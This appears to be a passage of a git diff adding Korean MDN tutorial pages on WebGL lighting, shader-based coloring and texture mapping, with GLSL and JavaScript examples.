이 튜토리얼은 WebGL 그래픽을 그리기 위해 <canvas>요소를 어떻게 사용하는지에 관해 기본부터 기술합니다. 제공된 예제들은 여러분이 WebGL로 무엇을 할 수 있는지를 명확히하고, 여러분 소유의 콘텐츠를 제작할 수 있도록 작은 코드들을 제공 할 것입니다.

+ +

시작하기 전에

+ +

<canvas> 요소를 사용하는 것은 크게 어렵진 않지만, 여러분은 HTML 과 JavaScript에 대하여 기본적인 이해가 꼭 필요합니다. <canvas> 요소와 WebGL은 일부 오래된 브라우저에서 지원되지 않으나, 최근 버전의 모든 주요 브라우저에서 지원됩니다. 우리는 canvas에 그림을 그리기 위해 그림을 신속하게 생성하는 JavaScript 콘텍스트 객체를 사용합니다.

+ +

In this tutorial

+ +
+
Getting started with WebGL
+
How to set up a WebGL context.
+
Adding 2D content to a WebGL context
+
How to render simple flat shapes using WebGL.
+
Using shaders to apply color in WebGL
+
Demonstrates how to add color to shapes using shaders.
+
Animating objects with WebGL
+
Shows how to rotate and translate objects to create simple animations.
+
Creating 3D objects using WebGL
+
Shows how to create and animate a 3D object (in this case, a cube).
+
Using textures in WebGL
+
Demonstrates how to map textures onto the faces of an object.
+
Lighting in WebGL
+
How to simulate lighting effects in your WebGL context.
+
Animating textures in WebGL
+
Shows how to animate textures; in this case, by mapping an Ogg video onto the faces of a rotating cube.
+
diff --git a/files/ko/web/api/webgl_api/tutorial/lighting_in_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/lighting_in_webgl/index.html new file mode 100644 index 0000000000..37eb1ee7fa --- /dev/null +++ b/files/ko/web/api/webgl_api/tutorial/lighting_in_webgl/index.html @@ -0,0 +1,177 @@ +--- +title: WebGL에서 조명 효과 적용하기 +slug: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL +tags: + - WebGL + - 방향광 + - 빛 + - 웹지엘 + - 점광 + - 조명 + - 주변광 +translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}

+ +

WebGL은 OpenGL 표준과는 다르게 자체적인 조명 효과를 제공하지 않습니다. 따라서 WebGL에서의 조명 효과는 개발자 스스로 만들어야 합니다. 다행스럽게도 조명 효과를 만드는 것이 아주 어려운 일은 아니며, 이 글을 통해 몇 가지 기초적인 부분을 이해할 수 있을 것입니다.

+ +

3D에서의 조명 시뮬레이션과 명암 효과

+ +

3D 그래픽의 조명 시뮬레이션에 대한 이론적 바탕에 대해 상세하게 알아보는 것은 이 글의 범위를 많이 벗어난다고 할 수 있지만, 그 동작 원리에 대해서는 조금이나마 알아볼 필요가 있습니다. 먼저 가장 널리 사용되는 조명 모델인 퐁 셰이딩(Phong shading)에 대한 위키피디아 자료를 한 번 읽어보시기 바랍니다.

+ +

조명에는 세 가지 기본 타입이 있습니다:

+ +

주변광(Ambient light)은 장면(scene) 전반에 걸쳐 스며드는 빛으로, 방향성이 없으며 장면 내에 있는 모든 표면을 그 표면의 방향과 관계없이 동일한 밝기로 비춰줍니다.

+ +

방향광(Directional light)은 특정한 방향으로만 비춰지는 빛입니다. 방향광은 아주 먼 곳에서 비춰지기 때문에 모든 빛 입자(photon, 광자)가 서로 평행한 방향으로 움직입니다. 방향광의 대표적인 예는 바로 태양광입니다.

+ +

점광(Point light)은 한 지점에서 모든 방향으로 퍼지면서 발산하는 빛입니다. 실생활에서 접할 수 있는 대부분의 빛이 이 점광에 해당합니다. 전구에서 나오는 빛이 점광의 대표적인 예라고 할 수 있겠습니다.

+ +

이 글에서는 반사광 하이라이트(specular highlight)나 점광원에 대해서는 다루지 않고, 단순한 방향광 조명과 주변광 조명만 알아 보겠습니다. 주변광에 방향광원(directional light source)을 더한 조명 효과를 앞 단원의 예제에 있던 회전하는 정육면체에 적용해보겠습니다.

+ +

점광원이나 반사광을 고려하지 않는다면, 방향광 조명을 구현하기 위한 정보는 크게 두 가지가 있습니다:​

+ +
    +
  1. 각 정점의 표면에 수직인 벡터를 의미하는 표면 법선 벡터(surface normal vector).
  2. +
  3. 빛이 쪼여지는 방향을 나타내는 방향 벡터.
  4. +
+ +

위 두 가지 정보를 구하고나면, 방향광의 방향과 정육면체의 표면이 만나는 각도에 따라 달라지는 방향광 조명 효과와 모든 표면에 균일하게 적용되는 주변광 조명 효과를 반영해서 각 정점의 색상을 조정할 수 있도록 정점 셰이더를 수정해야 합니다. 셰이더 코드를 어떻게 수정하는지는 조금 이따가 살펴보기로 하고, 먼저 정점의 법선 벡터를 만드는 방법부터 알아보겠습니다.

+ +

정점 별 법선 구성

+ +

조명 효과 적용을 위해 첫번째로 해야할 일은 정육면체를 이루는 모든 정점의 법선 배열을 구성하는 것입니다. 정육면체는 아주 단순한 객체이므로 정육면체의 법선 배열 역시 쉽게 만들 수 있습니다. 하지만 복잡하게 생긴 객체의 법선을 계산하는 것은 상당히 어렵습니다.

+ +
cubeVerticesNormalBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesNormalBuffer);
+
+var vertexNormals = [
+  // 앞
+   0.0,  0.0,  1.0,
+   0.0,  0.0,  1.0,
+   0.0,  0.0,  1.0,
+   0.0,  0.0,  1.0,
+
+  // 뒤
+   0.0,  0.0, -1.0,
+   0.0,  0.0, -1.0,
+   0.0,  0.0, -1.0,
+   0.0,  0.0, -1.0,
+
+  // 위
+   0.0,  1.0,  0.0,
+   0.0,  1.0,  0.0,
+   0.0,  1.0,  0.0,
+   0.0,  1.0,  0.0,
+
+  // 아래
+   0.0, -1.0,  0.0,
+   0.0, -1.0,  0.0,
+   0.0, -1.0,  0.0,
+   0.0, -1.0,  0.0,
+
+  // 오른쪽
+   1.0,  0.0,  0.0,
+   1.0,  0.0,  0.0,
+   1.0,  0.0,  0.0,
+   1.0,  0.0,  0.0,
+
+  // 왼쪽
+  -1.0,  0.0,  0.0,
+  -1.0,  0.0,  0.0,
+  -1.0,  0.0,  0.0,
+  -1.0,  0.0,  0.0
+];
+
+gl.bufferData(gl.ARRAY_BUFFER, new WebGLFloatArray(vertexNormals), gl.STATIC_DRAW);
+
+ +

이런 배열의 처리는 앞 단원에서 여러 번 다뤄왔으므로 이젠 꽤 친숙해 보일 것입니다. 새로운 버퍼를 생성하고, 버퍼와 법선 배열을 바인딩하고, bufferData()를 호출해서 법선 배열을 버퍼에 전달합니다.

+ +

그 다음에 법선 배열과 셰이더 attribute 변수에 바인딩해서 셰이더가 법선 배열 정보에 접근할 수 있도록 해주는 코드를 drawScene()에 추가합니다:

+ +
gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesNormalBuffer);
+gl.vertexAttribPointer(vertexNormalAttribute, 3, gl.FLOAT, false, 0, 0);
+
+ +

마지막으로 uniform 행렬을 구성하는 setMatrixUniforms()법선 행렬을 만들고 셰이더에게 전달하는 코드를 추가합니다. 법선 행렬은 광원을 기준으로 정육면체의 상대적인 방향에 따라 법선을 변환하는 데 사용됩니다:

+ +
var normalMatrix = mvMatrix.inverse();
+normalMatrix = normalMatrix.transpose();
+var nUniform = gl.getUniformLocation(shaderProgram, "uNormalMatrix");
+gl.uniformMatrix4fv(nUniform, false, new WebGLFloatArray(normalMatrix.flatten()));
+
+ +

셰이더 수정

+ +

조명 효과 구현을 위해 셰이더가 필요로 하는 데이터가 모두 준비되었으므로, 이제 셰이더 코드를 수정해보겠습니다.

+ +

정점 셰이더

+ +

제일 먼저 방향광 조명과 주변광 조명에 의한 각 정점의 명암 값을 계산해야 합니다. 일단 소스 코드부터 보겠습니다:

+ +
<script id="shader-vs" type="x-shader/x-vertex">
+  attribute highp vec3 aVertexNormal;
+  attribute highp vec3 aVertexPosition;
+  attribute highp vec2 aTextureCoord;
+
+  uniform highp mat4 uNormalMatrix;
+  uniform highp mat4 uMVMatrix;
+  uniform highp mat4 uPMatrix;
+
+  varying highp vec2 vTextureCoord;
+  varying highp vec3 vLighting;
+
+  void main(void) {
+    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+    vTextureCoord = aTextureCoord;
+
+    // 조명 효과 적용
+
+    highp vec3 ambientLight = vec3(0.6, 0.6, 0.6);
+    highp vec3 directionalLightColor = vec3(0.5, 0.5, 0.75);
+    highp vec3 directionalVector = vec3(0.85, 0.8, 0.75);
+
+    highp vec4 transformedNormal = uNormalMatrix * vec4(aVertexNormal, 1.0);
+
+    highp float directional = max(dot(transformedNormal.xyz, directionalVector), 0.0);
+    vLighting = ambientLight + (directionalLightColor * directional);
+  }
+</script>
+
+ +

정점의 위치 계산이 끝나고, 정점의 텍셀(texel) 좌표값을 얻고나면, 그 값을 기준으로 정점의 명암을 계산할 수 있습니다.

+ +

정점의 명암을 계산하려면 먼저 정육면체의 현재 위치와 방향을 기준으로 법선을 변환해야 합니다. 정점의 법선에 법선 행렬을 곱하면 법선이 변환됩니다. 그 다음에 변환된 법선과 방향 벡터(광원으로부터 빛이 비춰지는 방향)를 내적(dot product)하면 정점에 비춰지는 방향광의 양을 계산할 수 있습니다. 빛의 양이 음수일 수는 없으므로, 계산된 방향광의 양이 음수일 때는 방향광의 양을 0으로 설정해줍니다.

+ +

방향광의 양을 계산하고 나면, 방향광의 색상과 방향광의 양을 곱한 값에 주변광의 값을 더해서 정점에 비춰지는 최종 빛의 양을 구할 수 있습니다. 결과적으로 RGB값이 나오는데, 이 RGB값은 프래그먼트 셰이더가 우리가 그릴 모든 픽셀에 대한 색상값을 계산하는데 사용됩니다.

+ +

프래그먼트 셰이더

+ +

이제 정점 셰이더에서 계산한 빛의 양을 반영해서 조명 효과를 표현할 수 있도록 프래그먼트 셰이더를 수정해야 합니다:

+ +
<script id="shader-fs" type="x-shader/x-fragment">
+  varying highp vec2 vTextureCoord;
+  varying highp vec3 vLighting;
+
+  uniform sampler2D uSampler;
+
+  void main(void) {
+    mediump vec4 texelColor = texture2D(uSampler, vec2(vTextureCoord.s, vTextureCoord.t));
+
+    gl_FragColor = vec4(texelColor.rgb * vLighting, texelColor.a);
+  }
+</script>
+
+ +

앞 단원의 예제에서 했던 것처럼 텍셀의 색상값을 계산합니다. 하지만 이번에는 텍셀의 색상값을 바로 프래그먼트의 색상값으로 설정하지 않고,  조명 효과를 표현할 수 있도록 텍셀의 색상값에 빛의 양을 곱한 값을 프래그먼트의 색상값으로 설정합니다.

+ +

자 이제 다 완성했습니다! WebGL을 지원하는 브라우저라면 여기에서 실제 동작하는 예제를 확인할 수 있습니다.

+ +

연습해보기

+ +

알다시피 이번 예제는 정점 단위의 기본적인 조명 효과를 구현한 단순한 예제입니다. 더 수준 높은 컴퓨터 그래픽을 만들려면 정점 단위가 아니라 픽셀 단위의 조명 효과가 필요할 것입니다. 하지만 정점 단위의 조명 효과를 다룬 이 글이 고급 그래픽을 만드는데 도움이 될 것입니다.

+ +

빛의 방향이나 광원의 색상 등을 다른 값으로 바꿔보는 등 다양하게 실험해보는 것도 조명 효과를 이해하는데 도움이 될 것입니다.

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}

diff --git a/files/ko/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html new file mode 100644 index 0000000000..edfb74401a --- /dev/null +++ b/files/ko/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html @@ -0,0 +1,98 @@ +--- +title: WebGL에서 셰이더를 사용하여 색상 적용하기 +slug: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL +tags: + - 색상 + - 셰이더 + - 웹지엘 + - 컬러 +translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}

+ +

앞 단원의 예제에서 정사각형을 그려봤으니, 이제 정사각형에 색을 칠해 보겠습니다. 셰이더를 조금 수정하면 색을 칠할 수 있습니다.

+ +

정점에 색상 적용

+ +

GL(Graphic Library)에서 객체는 정점의 집합으로 구성되며, 각 정점은 위치값과 색상값을 가지고 있습니다. 기본적으로 정점이 아닌 모든 픽셀의 색상값은 선형 보간법(linear interpolation)을 이용해서 계산됩니다. 색상 뿐 아니라 위치를 포함한 다른 모든 속성들도 마찬가지로 선형 보간법으로 계산됩니다. 색상의 경우 선형 보간법을 통해 보간되면 자연스럽게 부드러운 그라데이션(gradation)이 형성됩니다. 앞 단원에서는 정점 셰이더에서 정점에 아무런 색상도 적용하지 않았습니다. 대신에 프래그먼트 셰이더에서 각 픽셀에 흰색을 적용했기 때문에 전체 사각형이 흰색으로 그려질 수 있었습니다.

+ +

이제 정사각형의 각 꼭지점에 빨간색, 파란색, 녹색, 흰색을 적용해 보겠습니다. 정점이 아닌 픽셀들은 선형 보간에 의해 그라데이션이 형성됩니다. 먼저 네 개의 정점에 색을 지정하겠습니다. 정점에 색을 지정하려면 정점의 색상값을 가진 배열을 만들고, 이 배열을 WebGL 버퍼에 저장해야 합니다. initBuffers() 함수에 아래의 내용을 추가합니다:

+ +
  var colors = [
+    1.0,  1.0,  1.0,  1.0,    // 흰색
+    1.0,  0.0,  0.0,  1.0,    // 빨간색
+    0.0,  1.0,  0.0,  1.0,    // 녹색
+    0.0,  0.0,  1.0,  1.0     // 파란색
+  ];
+
+  squareVerticesColorBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesColorBuffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(colors), gl.STATIC_DRAW);
+}
+
+ +

먼저 정점에 지정할 색상값을 가진 자바스크립트 배열을 생성합니다. 4개의 원소가 하나의 색을 나타내며, 정사각형의 4개의 꼭지점에 흰색, 빨간색, 파란색, 녹색이 지정되도록 값을 정합니다. 이 색상 정보 배열을 저장하기 위해 새로운 WebGL 버퍼를 생성하고, 배열은 부동소수점 형식으로 WebGL의 버퍼에 저장합니다.

+ +

이 색상 정보를 실제 렌더링에 사용하려면, 컬러 버퍼에서 색상 정보를 읽을 수 있도록 정점 셰이더를 수정해야 합니다:

+ +
<script id="shader-vs" type="x-shader/x-vertex">
+  attribute vec3 aVertexPosition;
+  attribute vec4 aVertexColor;
+
+  uniform mat4 uMVMatrix;
+  uniform mat4 uPMatrix;
+
+  varying lowp vec4 vColor;
+
+  void main(void) {
+    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+    vColor = aVertexColor;
+  }
+</script>
+
+ +

수정 전의 소스와 가장 많이 달라진 점은, 색상 배열에서 읽은 값을 토대로 각 정점에 색상값을 지정했다는 점입니다.

+ +

프래그먼트에 색상 입히기

+ +

앞 단원에서 사용했던 프래그먼트 셰이더를 다시 한 번 보겠습니다:

+ +
<script id="shader-fs" type="x-shader/x-fragment">
+  void main(void) {
+    gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+  }
+</script>
+
+ +

프래그먼트에 색상 입히기는 아주 쉽습니다. 위와 같이 프래그먼트 셰이더 내에서 흰색을 지정해주는 대신 단순히 vColor 변수에서 값을 읽어오도록 수정하기만 하면, 각 픽셀 별로 보간된 색상값을 구할 수 있습니다:

+ +
<script id="shader-fs" type="x-shader/x-fragment">
+  varying lowp vec4 vColor;
+
+  void main(void) {
+    gl_FragColor = vColor;
+  }
+</script>
+
+ +

위와 같이 각 프래그먼트는 정점을 기준으로 상대적인 위치에 따라 선형 보간된 색상값을 갖게 됩니다.

+ +

색상을 적용해서 그리기

+ +

이제 셰이더 프로그램에서 색상 변수를 초기화하고 활성화하는 내용을 initShaders()에 추가합니다:

+ +
vertexColorAttribute = gl.getAttribLocation(shaderProgram, "aVertexColor");
+gl.enableVertexAttribArray(vertexColorAttribute);
+
+ +

다음은 정사각형을 그릴 때 색상 정보를 사용하도록 drawScene()을 수정합니다:

+ +
gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesColorBuffer);
+gl.vertexAttribPointer(vertexColorAttribute, 4, gl.FLOAT, false, 0, 0);
+
+ +

이제 WebGL이 호환되는 브라우저에서 샘플을 보면, 검정색 바탕에 아래와 같은 정사각형이 그려지는 것을 볼 수 있습니다:

+ +

screenshot.png

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}

diff --git a/files/ko/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html new file mode 100644 index 0000000000..b84b49017c --- /dev/null +++ b/files/ko/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html @@ -0,0 +1,183 @@ +--- +title: WebGL에서 텍스쳐 사용하기 +slug: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL +tags: + - Texture + - WebGL + - 텍스쳐 +translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

+ +

앞 단원의 예제에서 회전하는 3차원 정육면체를 만들어봤습니다. 이번에는 정육면체의 각 면에 단색으로 색을 칠하는 대신에 텍스쳐를 입혀 보겠습니다.

+ +

텍스쳐 로딩

+ +

가장 먼저 해야할 일은 텍스쳐를 읽어오는 것입니다. 이번 예제에서는 동일한 하나의 텍스쳐를 회전하는 정육면체의 6개의 면에 입혀볼 것입니다. 여러개의 텍스쳐를 각 면에 입힌다고 해도 하나를 입히는 것과 동일한 방법을 적용하면 됩니다.

+ +
Note: 텍스쳐를 외부에서 읽어올 때는 크로스 도메인 규칙(cross-domain rules)에 유의해야 합니다. CORS(Cross Origin Resource Sharing)승인을 받을 수 있는 도메인에 있는 텍스쳐만 읽어올 수 있습니다. 자세한 내용은 크로스 도메인 텍스쳐(Cross-domain textures)를 참고하세요.
+ +

텍스쳐를 읽어오는 코드는 다음과 같습니다:

+ +
function initTextures() {
+  cubeTexture = gl.createTexture();
+  cubeImage = new Image();
+  cubeImage.onload = function() { handleTextureLoaded(cubeImage, cubeTexture); }
+  cubeImage.src = "cubetexture.png";
+}
+
+function handleTextureLoaded(image, texture) {
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+  gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, image);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR_MIPMAP_NEAREST);
+  gl.generateMipmap(gl.TEXTURE_2D);
+  gl.bindTexture(gl.TEXTURE_2D, null);
+}
+
+ +

initTextures() 루틴은 GL의 createTexture() 함수를 호출해서 GL의 텍스쳐 객체인 cubeTexture를 생성하는 걸로 시작됩니다. 그리고 Image 객체를 생성해서 텍스쳐로 사용하기 위해 로딩한 이미지 파일을 Image 객체에 저장합니다. handleTextureLoaded()  콜백 루틴은 이미지 로딩이 완료되면 실행됩니다.

+ +

텍스쳐를 실질적으로 생성하려면, 앞에서 새로 생성한 텍스쳐 객체를 gl.TEXTURE_2D에 바인딩해야 합니다. 그리고 나서 이미지 데이터가 로딩된 이미지 객체를 texImage2D()에 전달하여 호출하면, 이미지 데이터가 텍스쳐에 쓰여(write) 집니다.

+ +
Note: 텍스쳐의 너비와 높이는 거의 대부분의 상황에서 2의 거듭제곱 픽셀(1, 2, 4, 8, 16, 32, ...)이어야 합니다. 예외인 경우에 대해서는 아래의 "크기가 2의 거듭제곱 픽셀이 아닌 텍스쳐"를 참고하세요.
+ +

그 다음 두 라인은 텍스쳐를 위한 필터링을 준비합니다. 이 필터링은 이미지 크기가 변경될 때 이미지가 필터되는 방식을 제어합니다. 여기에서는 이미지를 확대할 때 선형 필터링을 사용하고, 이미지를 축소할 때 mipmap을 사용합니다. generateMipMap()을 호출해서 mipmap이 만들어지면 gl.TEXTURE_2D에 null을 바인딩시켜서, 텍스쳐를 다룰 준비가 끝났다는 것을 WebGL에게 알려줍니다.

+ +

크기가 2의 거듭제곱이 아닌 텍스쳐

+ +

일반적으로 너비와 높이가 2의 거듭제곱인 텍스쳐를 사용하는 것이 가장 이상적입니다. 왜냐하면 2의 거듭제곱인 텍스쳐는 비디오 메모리에 효율적으로 저장될 수 있고, 어떤 방식으로 사용되어야만 한다는 제약이 없기 때문입니다. 예술가들이 이미 작성한 텍스쳐는 너비와 높이가 2의 거듭제곱이 되도록 크기를 맞춰줘야 하며, 가능하다면 아예 만들때부터 2의 거듭제곱으로 만드는 것이 좋습니다. 너비와 높이는 2의 거듭제곱인 1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024, 또는 2048 픽셀이어야 합니다. 전부는 아니지만 많은 디바이스가 4096 픽셀도 지원하고 있으며, 어떤 디바이스는 8192 픽셀 이상을 지원하기도 합니다.

+ +

2의 거듭제곱인 텍스쳐를 사용하기 곤란한 상황도 있을 수 있습니다. 텍스쳐의 소스가 되는 이미지를 써드파티에서 구한 것이라면, WebGL에 전달하기 전에 HTML5 캔버스를 이용해서 이미지 크기를 2의 거듭제곱으로 수정하는 것이 좋습니다. 이 때 UV 좌표값도 함께 조정해야 합니다.

+ +

2의 거듭제곱이 아닌(NPOT, Non Power Of Two) 텍스쳐를 꼭 써야만 하는 상황도 있을 것입니다. WebGL은 NPOT 텍스쳐도 제한적으로 지원합니다. 텍스쳐의 크기가 모니터 해상도와 똑같아야만 한다거나, 위의 단락에서 언급한 것처럼 2의 거듭제곱으로 수정하는 일이 단순히 귀찮을 때는 NPOT 텍스쳐가 유용할 수 있습니다. 하지만 NPOT 텍스쳐에는 제약 사항이 있습니다. NPOT 텍스쳐는 mipmapping을 할 수 없으며, 타일(tile) 또는 감싸기(wrap) 처럼 "반복"하는 방식으로 사용할 수 없습니다.

+ +

몇 개의 벽돌 이미지를 타일링 해서 벽돌로 된 벽을 만드는 것이 텍스쳐 반복의 한 사례 입니다.

+ +

bindTexture()를 이용해서 텍스쳐를 생성할 때, texParameteri() 메서드로 mipmapping과 UV 반복을 비활성화 시킬 수 있습니다.  이 비활성화를 통해 mipmapping, UV 감싸기, UV 타일링을 포기하고, 디바이스가 텍스쳐를 어떻게 처리할지 결정할 수 있는 제어권도 포기하는 대신 NPOT 텍스쳐를 사용할 수 있게 됩니다.

+ +
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR); //gl.LINEAR 대신에 gl.NEAREST도 허용되지만, 둘 다 mipmap 될 수 없다.
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE); //s좌표계 감싸기(반복) 방지
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE); //t좌표계 감싸기(반복) 방지
+ +

texParameteri() 메서드에 위와 같은 파라미터를 전달함으로써, WebGL을 지원하는 디바이스는 어떤 해상도의 텍스쳐든 처리할 수 있는 최대한의 해상도까지 자동으로 처리할 수 있게 됩니다. 위와 같은 설정을 해주지 않으면 WebGL은 NPOT 텍스쳐를 처리하지 못하고 rgba(0, 0, 0, 1)인 검은색을 반환합니다.

+ +

면에 텍스쳐 입히기

+ +

이제 텍스쳐 읽어오기는 완료되었고, 텍스쳐도 사용할 준비가 되어 있습니다. 하지만 텍스쳐를 사용하기 전에 텍스쳐의 좌표와 정육면체의 면의 정점을 매핑 시켜줘야 합니다. 이를 위해 initBuffers() 함수 안에 있던 정육면체 각 면의 색상을 설정하는 내용을 모두 아래와 같은 코드로 대체합니다.

+ +
cubeVerticesTextureCoordBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesTextureCoordBuffer);
+
+var textureCoordinates = [
+  // 앞
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // 뒤
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // 위
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // 아래
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // 오른쪽
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // 왼쪽
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0
+];
+
+gl.bufferData(gl.ARRAY_BUFFER, new WebGLFloatArray(textureCoordinates),
+              gl.STATIC_DRAW);
+
+ +

먼저 각 면의 텍스쳐 좌표를 저장할 GL 버퍼를 생성하고, 텍스쳐 좌표 배열에 바인딩 합니다.

+ +

textureCoordinates 배열은 정육면체 각 면의 정점에 해당하는 텍스쳐 좌표를 정의합니다. 텍스쳐 좌표값의 범위는 0.0 에서 1.0 사이라는 점을 기억해 주십시오. 텍스쳐 좌표의 너비값과 높이값은 실제 너비값이나 높이값과 관계 없이 언제나 0.0 에서 1.0 사이의 값으로 정규화(normalize) 됩니다.

+ +

텍스쳐 매핑 배열 설정이 끝나고 배열을 버퍼에 전달하면 GL이 텍스쳐 데이터를 사용할 수 있게 됩니다.

+ +
Note: WebKit 기반의 브라우저에서는 WebGLFloatArray 대신에 Float32Array를 사용해야 합니다. 
+ +

셰이더 수정

+ +

셰이더 프로그램과 셰이더를 초기화하는 코드들도 단색 색상 대신 텍스쳐를 사용할 수 있도록 수정해야 합니다.

+ +

먼저 initShaders() 안에 있는 아주 단순한 변경 사항을 알아 봅시다:

+ +
textureCoordAttribute = gl.getAttribLocation(shaderProgram, "aTextureCoord");
+gl.enableVertexAttribArray(textureCoordAttribute);
+
+ +

정점 컬러 attribute 변수를 설정하던 코드가, 각 정점의 텍스쳐 좌표값을 설정하는 코드로 대체 되었습니다. 

+ +

정점 셰이더

+ +

다음으로 색상 데이터를 읽어오던 정점 셰이더를 텍스쳐 좌표를 읽어오도록 수정해야 합니다.

+ +
<script id="shader-vs" type="x-shader/x-vertex">
+  attribute vec3 aVertexPosition;
+  attribute vec2 aTextureCoord;
+
+  uniform mat4 uMVMatrix;
+  uniform mat4 uPMatrix;
+
+  varying highp vec2 vTextureCoord;
+
+  void main(void) {
+    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+    vTextureCoord = aTextureCoord;
+  }
+</script>
+
+ +

정점 색상 정보를 읽어오는 대신에 텍스쳐 좌표값을 읽어와서 설정한다는 점이 키 포인트 입니다. 위와 같이 정점과 텍스쳐 좌표값을 매핑하면, 각 정점이 텍스쳐의 어느 지점에 해당 하는지 알려줄 수 있습니다.

+ +

프래그먼트 셰이더

+ +

마찬가지로 프래그먼트 셰이더도 수정해야 합니다:

+ +
<script id="shader-fs" type="x-shader/x-fragment">
+  varying highp vec2 vTextureCoord;
+
+  uniform sampler2D uSampler;
+
+  void main(void) {
+    gl_FragColor = texture2D(uSampler, vec2(vTextureCoord.s, vTextureCoord.t));
+  }
+</script>
+
+ +

이렇게 하면 프래그먼트의 색상을 정하기 위해 직접 프래그먼트에 색상값을 할당하지 않고, 샘플러(sampler)가 판단하기에 프래그먼트의 위치에 가장 잘 맞아 떨어진다고 여겨지는 텍셀(texel, 텍스쳐 내부에 있는 픽셀)값에 따라서 프래그먼트의 색상값을 계산해냅니다.

+ +

텍스쳐를 입힌 정육면체 그리기

+ +

텍스쳐를 입힌 상태를 더 명확하게 확인할 수 있도록, 앞 단원의 예제에 포함되어 있던 정육면체의 이동을 제거한 것을 제외하면 drawScene() 함수의 수정은 간단합니다.

+ +

정점에 색상을 매핑하던 코드를 다음과 같이 면에 텍스쳐를 매핑하는 코드로 대체합니다:

+ +
gl.activeTexture(gl.TEXTURE0);
+gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+gl.uniform1i(gl.getUniformLocation(shaderProgram, "uSampler"), 0);
+
+ +

GL은 32개의 텍스쳐 레지스터를 제공합니다. 그 중 첫번째 레지스터는 gl.TEXTURE0 입니다. 텍스쳐를 사용하기 위해 전에 읽어온 텍스쳐를 gl.TEXTURE0에 바인딩하고, 셰이더 샘플러를 셰이더 프로그램에 명시되어 있는 uSampler로 설정합니다.

+ +

이제 앞 단원의 예제보다 더 보기 좋게 회전하는 정육면체를 볼 수 있을 것입니다. WebGL을 지원하는 브라우저라면 여기에서 실제 동작하는 예제를 확인할 수 있습니다.

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

diff --git a/files/ko/web/api/webgl_api/webgl_best_practices/index.html b/files/ko/web/api/webgl_api/webgl_best_practices/index.html new file mode 100644 index 0000000000..41f0bb7537 --- /dev/null +++ b/files/ko/web/api/webgl_api/webgl_best_practices/index.html @@ -0,0 +1,46 @@ +--- +title: WebGL best practices +slug: Web/API/WebGL_API/WebGL_best_practices +translation_of: Web/API/WebGL_API/WebGL_best_practices +--- +

{{WebGLSidebar}}

+ +

이 기사는 당신의 WebGL 콘텐트 질을 향상시키기 위한 제안과 팁을 제시합니다. 다음의 제안들을 따르면,  당신의 웹 애플리케이션이 더 많은 장치들과 브라우저들과의 호환성을 높일 수 있을 뿐만 아니라, 성능도 향상시킬 수 있게 도와줍니다.

+ +

피해야 할 것들

+ + + +
